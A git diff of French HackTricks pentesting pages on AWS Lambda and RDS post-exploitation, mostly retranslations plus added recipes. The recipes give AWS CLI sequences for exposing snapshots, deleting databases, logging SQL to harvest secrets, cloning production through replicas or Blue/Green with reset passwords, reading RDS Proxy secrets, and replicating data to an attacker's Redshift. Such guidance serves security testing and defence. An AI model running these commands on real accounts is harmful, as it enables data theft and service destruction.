diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index 2d733c976..1a7166eeb 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -4,29 +4,29 @@ ## Lambda -Pour plus d'informations, consultez : +Pour plus d'informations, voir : {{#ref}} ../../aws-services/aws-lambda-enum.md {{#endref}} -### Exfilrtate Lambda Credentials +### Exfiltrer les credentials Lambda -Lambda utilise des variables d'environnement pour injecter des credentials à l'exécution. Si vous pouvez y accéder (en lisant `/proc/self/environ` ou en utilisant la fonction vulnérable elle‑même), vous pouvez les utiliser. Elles se trouvent dans les noms de variables par défaut `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, et `AWS_ACCESS_KEY_ID`. +Lambda utilise des variables d'environnement pour injecter des credentials à l'exécution. Si vous pouvez y accéder (en lisant `/proc/self/environ` ou en utilisant la fonction vulnérable elle-même), vous pouvez les utiliser. Elles sont stockées dans les noms de variable par défaut `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, et `AWS_ACCESS_KEY_ID`. -Par défaut, celles‑ci auront le droit d'écrire dans un cloudwatch log group (dont le nom est stocké dans `AWS_LAMBDA_LOG_GROUP_NAME`), ainsi que de créer des log groups arbitraires ; cependant les fonctions lambda ont fréquemment des permissions supplémentaires assignées en fonction de leur usage prévu. +Par défaut, celles-ci auront l'accès en écriture à un cloudwatch log group (dont le nom est stocké dans `AWS_LAMBDA_LOG_GROUP_NAME`), ainsi qu'à la création de log groups arbitraires ; cependant les fonctions Lambda ont fréquemment plus de permissions assignées selon leur usage prévu. -### Steal Others Lambda URL Requests +### Voler les requêtes URL Lambda d'autres utilisateurs -Si un attaquant parvient d'une manière ou d'une autre à obtenir RCE dans une Lambda, il pourra voler les requêtes HTTP d'autres utilisateurs envoyées à la lambda. Si les requêtes contiennent des informations sensibles (cookies, credentials...), il pourra les dérober. +Si un attaquant parvient à obtenir une RCE dans une Lambda, il pourra voler les requêtes HTTP d'autres utilisateurs envoyées à la lambda. Si les requêtes contiennent des informations sensibles (cookies, credentials...) il pourra les exfiltrer. {{#ref}} aws-warm-lambda-persistence.md {{#endref}} -### Steal Others Lambda URL Requests & Extensions Requests +### Voler les requêtes URL Lambda d'autres utilisateurs et les requêtes d'extensions -En abusant des Lambda Layers, il est aussi possible d'abuser des extensions et de persister dans la lambda, mais aussi de voler et modifier les requêtes. +En abusant des Lambda Layers, il est également possible d'abuser des extensions et de persister dans la lambda, mais aussi de voler et modifier les requêtes. {{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -34,7 +34,7 @@ En abusant des Lambda Layers, il est aussi possible d'abuser des extensions et d ### AWS Lambda – VPC Egress Bypass -Forcer une fonction Lambda hors d'un VPC restreint en mettant à jour sa configuration avec un VpcConfig vide (SubnetIds=[], SecurityGroupIds=[]). La fonction s'exécutera alors dans le plan réseau géré par Lambda, récupérant l'accès sortant à Internet et contournant les contrôles d'egress appliqués par des sous‑réseaux VPC privés sans NAT. +Forcer une fonction Lambda à sortir d'un VPC restreint en mettant à jour sa configuration avec un VpcConfig vide (SubnetIds=[], SecurityGroupIds=[]). La fonction s'exécutera alors dans le plan réseau géré par Lambda, retrouvant l'accès internet sortant et contournant les contrôles d'egress appliqués par des sous-réseaux VPC privés sans NAT. {{#ref}} aws-lambda-vpc-egress-bypass.md @@ -42,7 +42,7 @@ aws-lambda-vpc-egress-bypass.md ### AWS Lambda – Runtime Pinning/Rollback Abuse -Abuser de `lambda:PutRuntimeManagementConfig` pour pin (verrouiller) une fonction sur une version runtime spécifique (Manual) ou geler les mises à jour (FunctionUpdate). Cela préserve la compatibilité avec des layers/wrappers malveillants et peut maintenir la fonction sur un runtime obsolète et vulnérable, facilitant l'exploitation et la persistance à long terme. +Abuser de `lambda:PutRuntimeManagementConfig` pour fixer une fonction sur une version de runtime spécifique (Manual) ou geler les mises à jour (FunctionUpdate). Cela préserve la compatibilité avec des layers/wrappers malveillants et peut maintenir la fonction sur un runtime obsolète et vulnérable pour faciliter l'exploitation et la persistance à long terme. {{#ref}} aws-lambda-runtime-pinning-abuse.md @@ -50,7 +50,7 @@ aws-lambda-runtime-pinning-abuse.md ### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection -Abuser des contrôles avancés de logging de `lambda:UpdateFunctionConfiguration` pour rediriger les logs d'une fonction vers un CloudWatch Logs log group choisi par l'attaquant. Cela fonctionne sans modifier le code ni le rôle d'exécution (la plupart des rôles Lambda incluent déjà `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). Si la fonction affiche des secrets/corps de requête ou plante avec des stack traces, vous pouvez les récupérer depuis le nouveau log group. +Abuser des contrôles de logging avancés via `lambda:UpdateFunctionConfiguration` pour rediriger les logs d'une fonction vers un CloudWatch Logs log group choisi par l'attaquant. Cela fonctionne sans changer le code ni le rôle d'exécution (la plupart des rôles Lambda incluent déjà `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). Si la fonction affiche des secrets/request bodies ou plante avec des stack traces, vous pouvez les récupérer depuis le nouveau log group. {{#ref}} aws-lambda-loggingconfig-redirection.md @@ -58,7 +58,7 @@ aws-lambda-loggingconfig-redirection.md ### AWS - Lambda Function URL Public Exposure -Transformer une Lambda Function URL privée en un endpoint public non authentifié en passant le Function URL AuthType à NONE et en attachant une resource-based policy qui accorde lambda:InvokeFunctionUrl à tout le monde. Cela permet l'invocation anonyme de fonctions internes et peut exposer des opérations backend sensibles. +Transformer une Function URL Lambda privée en un endpoint public non authentifié en passant le Function URL AuthType à NONE et en attachant une resource-based policy qui accorde lambda:InvokeFunctionUrl à tout le monde. Cela permet l'invocation anonyme de fonctions internes et peut exposer des opérations backend sensibles. {{#ref}} aws-lambda-function-url-public-exposure.md @@ -66,7 +66,7 @@ aws-lambda-function-url-public-exposure.md ### AWS Lambda – Event Source Mapping Target Hijack -Abuser de `UpdateEventSourceMapping` pour changer la fonction Lambda cible d'un Event Source Mapping (ESM) existant afin que les enregistrements de DynamoDB Streams, Kinesis, ou SQS soient livrés à une fonction contrôlée par l'attaquant. Cela détourne silencieusement des données en direct sans toucher aux producteurs ni au code de la fonction d'origine. +Abuser de `UpdateEventSourceMapping` pour changer la fonction Lambda cible d'un Event Source Mapping (ESM) existant afin que les enregistrements de DynamoDB Streams, Kinesis, ou SQS soient livrés à une fonction contrôlée par l'attaquant. Cela détourne silencieusement des données en direct sans toucher aux producteurs ni au code de la fonction originale. {{#ref}} aws-lambda-event-source-mapping-hijack.md @@ -74,7 +74,7 @@ aws-lambda-event-source-mapping-hijack.md ### AWS Lambda – EFS Mount Injection data exfiltration -Abuser de `lambda:UpdateFunctionConfiguration` pour attacher un EFS Access Point existant à une Lambda, puis déployer du code trivial qui liste/lit des fichiers depuis le chemin monté afin d'exfiltrer des secrets/config partagés auxquels la fonction n'avait pas accès auparavant. +Abuser de `lambda:UpdateFunctionConfiguration` pour attacher un EFS Access Point existant à une Lambda, puis déployer un code trivial qui liste/lit les fichiers depuis le chemin monté pour exfiltrer des secrets/config partagés auxquels la fonction n'avait pas accès auparavant. {{#ref}} aws-lambda-efs-mount-injection.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md index b30794c20..a06b8d90f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - RDS Post Exploitation +# AWS - RDS Post-exploitation {{#include ../../../banners/hacktricks-training.md}} ## RDS -Pour plus d'informations, consultez : +Pour plus d'informations, voir : {{#ref}} ../aws-services/aws-relational-database-rds-enum.md @@ -12,7 +12,7 @@ Pour plus d'informations, consultez : ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` -Si l'attaquant dispose de permissions suffisantes, il peut rendre une **DB accessible publiquement** en créant un snapshot de la DB, puis en créant une DB accessible publiquement à partir du snapshot. +Si l'attaquant dispose des autorisations suffisantes, il peut rendre une **DB accessible au public** en créant un snapshot de la DB, puis en créant une DB accessible au public à partir du snapshot. ```bash aws rds describe-db-instances # Get DB identifier @@ -40,9 +40,9 @@ aws rds modify-db-instance \ ``` ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -Un attaquant avec ces permissions pourrait **créer un snapshot d'une DB** et le rendre **publiquement** **disponible**. Ensuite, il pourrait simplement créer dans son propre compte une DB à partir de ce snapshot. +Un attaquant disposant de ces permissions pourrait **créer un snapshot d'une DB** et le rendre **publiquement** **accessible**. Ensuite, il pourrait simplement créer dans son propre compte une DB à partir de ce snapshot. -Si l'attaquant **n'a pas le `rds:CreateDBSnapshot`**, il peut quand même rendre **autres** snapshots créés **publiques**. +Si l'attaquant **ne dispose pas de la `rds:CreateDBSnapshot`**, il pourrait néanmoins rendre **d'autres** snapshots créés **publics**. ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -53,15 +53,15 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier -- ``` ### `rds:DownloadDBLogFilePortion` -Un attaquant disposant de l'autorisation `rds:DownloadDBLogFilePortion` peut **télécharger des portions des fichiers journaux d'une instance RDS**. Si des données sensibles ou des identifiants d'accès sont enregistrés par erreur, l'attaquant pourrait potentiellement utiliser ces informations pour escalader ses privilèges ou effectuer des actions non autorisées. +Un attaquant disposant de la permission `rds:DownloadDBLogFilePortion` peut **télécharger des portions des fichiers de logs d'une instance RDS**. Si des données sensibles ou des identifiants d'accès sont enregistrés par erreur, l'attaquant pourrait potentiellement utiliser ces informations pour élever ses privilèges ou effectuer des actions non autorisées. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` -**Impact potentiel**: Accès à des informations sensibles ou exécution d'actions non autorisées en utilisant leaked credentials. +**Impact potentiel**: Accès à des informations sensibles ou exécution d'actions non autorisées en utilisant des leaked credentials. ### `rds:DeleteDBInstance` -Un attaquant disposant de ces permissions peut **DoS des instances RDS existantes**. +Un attaquant disposant de ces autorisations peut **DoS des instances RDS existantes**. ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot @@ -71,17 +71,17 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final ### `rds:StartExportTask` > [!NOTE] -> TODO: Test +> À TESTER -Un attaquant disposant de cette autorisation peut **exporter un snapshot d'une instance RDS vers un S3 bucket**. Si l'attaquant a le contrôle du S3 bucket de destination, il peut potentiellement accéder à des données sensibles contenues dans le snapshot exporté. +Un attaquant disposant de cette autorisation peut **exporter un snapshot d'instance RDS vers un bucket S3**. Si l'attaquant contrôle le bucket S3 de destination, il peut potentiellement accéder aux données sensibles contenues dans le snapshot exporté. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` -**Impact potentiel** : Accès aux données sensibles dans le snapshot exporté. +**Impact potentiel** : Accès à des données sensibles dans le snapshot exporté. -### Réplication entre régions des sauvegardes automatisées pour une restauration furtive (`rds:StartDBInstanceAutomatedBackupsReplication`) +### Réplication inter-régions des sauvegardes automatisées pour une restauration furtive (`rds:StartDBInstanceAutomatedBackupsReplication`) -Exploiter la réplication entre régions des sauvegardes automatisées pour dupliquer silencieusement les sauvegardes automatisées d'une instance RDS dans une autre AWS Region et y restaurer la base. L'attaquant peut ensuite rendre la DB restaurée accessible publiquement et réinitialiser le mot de passe master pour accéder aux données hors-bande dans une région que les défenseurs pourraient ne pas surveiller. +Abusez la réplication inter-régions des sauvegardes automatisées pour dupliquer discrètement les sauvegardes automatisées d'une instance RDS dans une autre région AWS et y restaurer la base. L'attaquant peut ensuite rendre la DB restaurée accessible publiquement et réinitialiser le mot de passe master pour accéder aux données en dehors des canaux habituels dans une région que les défenseurs ne surveillent peut-être pas. Permissions requises (minimum) : - `rds:StartDBInstanceAutomatedBackupsReplication` dans la région de destination @@ -94,7 +94,7 @@ Permissions requises (minimum) : Impact : Persistance et exfiltration de données en restaurant une copie des données de production dans une autre région et en l'exposant publiquement avec des identifiants contrôlés par l'attaquant.
-CLI de bout en bout (remplacez les paramètres) +CLI de bout en bout (remplacez les espaces réservés) ```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ @@ -163,4 +163,445 @@ aws rds stop-db-instance-automated-backups-replication \
+### Activer la journalisation SQL complète via les groupes de paramètres DB et exfiltrer via les RDS log APIs + +Abuser de `rds:ModifyDBParameterGroup` avec les RDS log download APIs pour capturer toutes les instructions SQL exécutées par les applications (aucun identifiant du moteur DB requis). Activer la journalisation SQL du moteur et récupérer les fichiers de logs via `rds:DescribeDBLogFiles` et `rds:DownloadDBLogFilePortion` (ou le REST `downloadCompleteLogFile`). Utile pour collecter des requêtes pouvant contenir des secrets/PII/JWTs. + +Permissions requises (minimum): +- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion` +- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup` +- `rds:ModifyDBInstance` (uniquement pour attacher un groupe de paramètres personnalisé si l'instance utilise le groupe par défaut) +- `rds:RebootDBInstance` (pour les paramètres nécessitant un redémarrage, par ex., PostgreSQL) + +Étapes +1) Recon target and current parameter group +```bash +aws rds describe-db-instances \ +--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \ +--output table +``` +2) Assurez-vous qu'un DB parameter group personnalisé est attaché (impossible d'éditer le groupe par défaut) +- Si l'instance utilise déjà un groupe personnalisé, réutilisez son nom à l'étape suivante. +- Sinon, créez et attachez-en un correspondant à la famille du moteur : +```bash +# Example for PostgreSQL 16 +aws rds create-db-parameter-group \ +--db-parameter-group-name ht-logs-pg \ +--db-parameter-group-family postgres16 \ +--description "HT logging" + +aws rds modify-db-instance \ +--db-instance-identifier \ +--db-parameter-group-name ht-logs-pg \ +--apply-immediately +# Wait until status becomes "available" +``` +3) Activer la journalisation SQL détaillée +- Moteurs MySQL (immédiat / sans redémarrage): +```bash +aws rds modify-db-parameter-group \ +--db-parameter-group-name \ +--parameters \ +"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \ +"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate" +# Optional extras: +# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \ +# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate" +``` +- Moteurs PostgreSQL (redémarrage requis): +```bash +aws rds modify-db-parameter-group \ +--db-parameter-group-name \ +--parameters \ +"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot" +# Optional to log duration for every statement: +# "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot" + +# Reboot if any parameter is pending-reboot +aws rds reboot-db-instance --db-instance-identifier +``` +4) Laisser la charge de travail s'exécuter (ou générer des requêtes). Les requêtes seront écrites dans les fichiers de log du moteur +- MySQL: `general/mysql-general.log` +- PostgreSQL: `postgresql.log` + +5) Découvrir et télécharger les logs (aucun identifiant DB requis) +```bash +aws rds describe-db-log-files --db-instance-identifier + +# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough: +aws rds download-db-log-file-portion \ +--db-instance-identifier \ +--log-file-name general/mysql-general.log \ +--starting-token 0 \ +--output text > dump.log +``` +6) Analyser hors ligne pour détecter des données sensibles +```bash +grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head +``` +Exemple de preuve (expurgée) : +```text +2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!') +2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED') +2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED') +``` +Nettoyage +- Rétablir les paramètres par défaut et redémarrer si nécessaire: +```bash +# MySQL +aws rds modify-db-parameter-group \ +--db-parameter-group-name \ +--parameters \ +"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate" + +# PostgreSQL +aws rds modify-db-parameter-group \ +--db-parameter-group-name \ +--parameters \ +"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot" +# Reboot if pending-reboot +``` +Impact : Accès post-exploitation aux données en capturant toutes les instructions SQL applicatives via les APIs AWS (no DB creds), pouvant entraîner la fuite de secrets, JWTs et PII. + +### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance` + +Abuser des répliques en lecture RDS pour obtenir un accès en lecture hors bande sans toucher aux identifiants de l'instance primaire. Un attaquant peut créer une réplique en lecture à partir d'une instance de production, réinitialiser le mot de passe master de la réplique (cela ne modifie pas celui de la primaire) et, facultativement, exposer la réplique publiquement pour exfiltrer des données. + +Permissions nécessaires (minimum) : +- `rds:DescribeDBInstances` +- `rds:CreateDBInstanceReadReplica` +- `rds:ModifyDBInstance` +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly) + +Impact : Accès en lecture seule aux données de production via une réplique avec des identifiants contrôlés par l'attaquant ; probabilité de détection réduite car la primaire reste inchangée et la réplication continue. +```bash +# 1) Recon: find non-Aurora sources with backups enabled +aws rds describe-db-instances \ +--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \ +--output table + +# 2) Create a permissive SG (replace and ) +aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id --query GroupId --output text +aws ec2 authorize-security-group-ingress --group-id --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"","Description":"tester"}]}]' + +# 3) Create the read replica (optionally public) +aws rds create-db-instance-read-replica \ +--db-instance-identifier \ +--source-db-instance-identifier \ +--db-instance-class db.t3.medium \ +--publicly-accessible \ +--vpc-security-group-ids +aws rds wait db-instance-available --db-instance-identifier + +# 4) Reset ONLY the replica master password (primary unchanged) +aws rds modify-db-instance --db-instance-identifier --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately +aws rds wait db-instance-available --db-instance-identifier + +# 5) Connect and dump (use the SOURCE master username + NEW password) +REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier --query 'DBInstances[0].Endpoint.Address' --output text) +# e.g., with mysql client: mysql -h "$REPL_ENDPOINT" -u -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();' + +# Optional: promote for persistence +# aws rds promote-read-replica --db-instance-identifier +``` +Example evidence (MySQL): +- État de la DB réplique : `available`, réplication en lecture : `replicating` +- Connexion réussie avec le nouveau mot de passe et `@@read_only=1` confirmant l'accès en lecture seule à la réplica. + +### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance` + +Abuser de RDS Blue/Green pour cloner une DB de production dans un environnement green continuellement répliqué et en lecture seule. Puis réinitialiser les identifiants master du green pour accéder aux données sans toucher l'instance blue (prod). C'est plus discret que le partage de snapshot et contourne souvent la surveillance focalisée uniquement sur la source. +```bash +# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account) +aws rds describe-db-instances \ +--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]' + +# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version + +# 2) Create Blue/Green deployment (replicates blue->green continuously) +aws rds create-blue-green-deployment \ +--blue-green-deployment-name ht-bgd-attack \ +--source \ +# Optional to upgrade: --target-engine-version + +# Wait until deployment Status becomes AVAILABLE, then note the green DB id +aws rds describe-blue-green-deployments \ +--blue-green-deployment-identifier \ +--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember' + +# Typical green id: -green-XXXX + +# 3) Reset the green master password (does not affect blue) +aws rds modify-db-instance \ +--db-instance-identifier \ +--master-user-password 'Gr33n!Exfil#1' \ +--apply-immediately + +# Optional: expose the green for direct access (attach an SG that allows the DB port) +aws rds modify-db-instance \ +--db-instance-identifier \ +--publicly-accessible \ +--vpc-security-group-ids \ +--apply-immediately + +# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only) +aws rds describe-db-instances \ +--db-instance-identifier \ +--query 'DBInstances[0].Endpoint.Address' --output text + +# Then connect with the master username and the new password and run SELECT/dumps +# e.g. MySQL: mysql -h -u -p'Gr33n!Exfil#1' + +# 5) Cleanup – remove blue/green and the green resources +aws rds delete-blue-green-deployment \ +--blue-green-deployment-identifier \ +--delete-target true +``` +Impact : Accès en lecture seule mais complet à un clone quasi temps réel de la production sans modifier l'instance de production. Utile pour l'extraction furtive de données et l'analyse hors ligne. + + +### SQL hors-bande via RDS Data API en activant l'HTTP endpoint + réinitialisation du mot de passe master + +Abuse Aurora pour activer l'endpoint HTTP du RDS Data API sur un cluster cible, réinitialiser le mot de passe master avec une valeur que vous contrôlez, et exécuter du SQL via HTTPS (aucun chemin réseau VPC requis). Fonctionne sur les moteurs Aurora qui supportent le Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; some Aurora PostgreSQL/MySQL versions). + +Permissions (minimum) : +- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint) +- secretsmanager:CreateSecret +- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used) + +Impact : Contourne la segmentation réseau et exfiltre des données via les APIs AWS sans connectivité VPC directe vers la DB. + +
+CLI de bout en bout (exemple Aurora MySQL) +```bash +# 1) Identify target cluster ARN +REGION=us-east-1 +CLUSTER_ID= +CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \ +--db-cluster-identifier $CLUSTER_ID \ +--query 'DBClusters[0].DBClusterArn' --output text) + +# 2) Enable Data API HTTP endpoint on the cluster +# Either of the following (depending on API/engine support): +aws rds enable-http-endpoint --region $REGION --resource-arn "$CLUSTER_ARN" +# or +aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--enable-http-endpoint --apply-immediately + +# Wait until HttpEndpointEnabled is True +aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID +aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--query 'DBClusters[0].HttpEndpointEnabled' --output text + +# 3) Reset master password to attacker-controlled value +aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--master-user-password 'Sup3rStr0ng!1' --apply-immediately +# Wait until pending password change is applied +while :; do +aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID +P=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--query 'DBClusters[0].PendingModifiedValues.MasterUserPassword' --output text) +[[ "$P" == "None" || "$P" == "null" ]] && break +sleep 10 +done + +# 4) Create a Secrets Manager secret for Data API auth +SECRET_ARN=$(aws secretsmanager create-secret --region $REGION --name rdsdata/demo-$CLUSTER_ID \ +--secret-string '{"username":"admin","password":"Sup3rStr0ng!1"}' \ +--query ARN --output text) + +# 5) Prove out-of-band SQL via HTTPS using rds-data +# (Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly) +aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ +--secret-arn "$SECRET_ARN" --database mysql --sql "create database if not exists demo;" +aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ +--secret-arn "$SECRET_ARN" --database demo --sql "create table if not exists pii(note text);" +aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ +--secret-arn "$SECRET_ARN" --database demo --sql "insert into pii(note) values ('token=SECRET_JWT');" +aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ +--secret-arn "$SECRET_ARN" --database demo --sql "select current_user(), now(), (select count(*) from pii) as row_count;" \ +--format-records-as JSON +``` +
+ +Notes: +- Si du SQL multi-instructions est rejeté par rds-data, effectuez des appels execute-statement séparés. +- Pour les moteurs où modify-db-cluster --enable-http-endpoint n'a aucun effet, utilisez rds enable-http-endpoint --resource-arn. +- Assurez-vous que le engine/version prend réellement en charge le Data API ; sinon HttpEndpointEnabled restera False. + + +### Récupération des identifiants DB via les secrets d'auth RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) + +Abuser de la configuration RDS Proxy pour découvrir le secret Secrets Manager utilisé pour l'authentification backend, puis lire le secret pour obtenir les identifiants de la base de données. Beaucoup d'environnements accordent un large `secretsmanager:GetSecretValue`, ce qui en fait un pivot à faible friction vers les identifiants DB. Si le secret utilise une CMK, des permissions KMS mal définies peuvent également permettre `kms:Decrypt`. + +Permissions requises (minimum) : +- `rds:DescribeDBProxies` +- `secretsmanager:GetSecretValue` sur le SecretArn référencé +- Optionnel si le secret utilise une CMK : `kms:Decrypt` sur cette clé + +Impact : Divulgation immédiate du nom d'utilisateur/mot de passe DB configuré sur le proxy ; permet un accès direct à la DB ou un mouvement latéral supplémentaire. + +Étapes +```bash +# 1) Enumerate proxies and extract the SecretArn used for auth +aws rds describe-db-proxies \ +--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \ +--output table + +# 2) Read the secret value (common over-permission) +aws secretsmanager get-secret-value \ +--secret-id \ +--query SecretString --output text +# Example output: {"username":"admin","password":"S3cr3t!"} +``` +Laboratoire (configuration minimale pour reproduire) +```bash +REGION=us-east-1 +ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) +SECRET_ARN=$(aws secretsmanager create-secret \ +--region $REGION --name rds/proxy/aurora-demo \ +--secret-string username:admin \ +--query ARN --output text) +aws iam create-role --role-name rds-proxy-secret-role \ +--assume-role-policy-document Version:2012-10-17 +aws iam attach-role-policy --role-name rds-proxy-secret-role \ +--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite +aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \ +--auth [AuthScheme:SECRETS] \ +--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \ +--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text) +aws rds wait db-proxy-available --db-proxy-name p0 +# Now run the enumeration + secret read from the Steps above +``` +Nettoyage (lab) +```bash +aws rds delete-db-proxy --db-proxy-name p0 +aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite +aws iam delete-role --role-name rds-proxy-secret-role +aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery +``` +### Exfiltration continue discrète via Aurora zero‑ETL vers Amazon Redshift (rds:CreateIntegration) + +Exploiter l'intégration zero‑ETL d'Aurora PostgreSQL pour répliquer en continu les données de production dans un namespace Redshift Serverless que vous contrôlez. Avec une Redshift resource policy permissive autorisant CreateInboundIntegration/AuthorizeInboundIntegration pour l'ARN d'un cluster Aurora spécifique, un attaquant peut établir une copie des données quasi temps‑réel sans DB creds, snapshots ni exposition réseau. + +Permissions nécessaires (minimum) : +- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration` +- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations` +- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query) +- `rds-data:ExecuteStatement` (optional; to seed data if needed) + +Testé sur : us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless. + +
+1) Créer un namespace Redshift Serverless + workgroup +```bash +REGION=us-east-1 +RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ +--admin-username adminuser --admin-user-password 'AdminPwd-1!' \ +--query namespace.namespaceArn --output text) +RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \ +--namespace-name ztl-ns --base-capacity 8 --publicly-accessible \ +--query workgroup.workgroupArn --output text) +# Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL) +aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \ +--config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true +``` +
+ +
+2) Configurer la politique de ressources de Redshift pour autoriser la source Aurora +```bash +ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) +SRC_ARN= +cat > rs-rp.json < + +
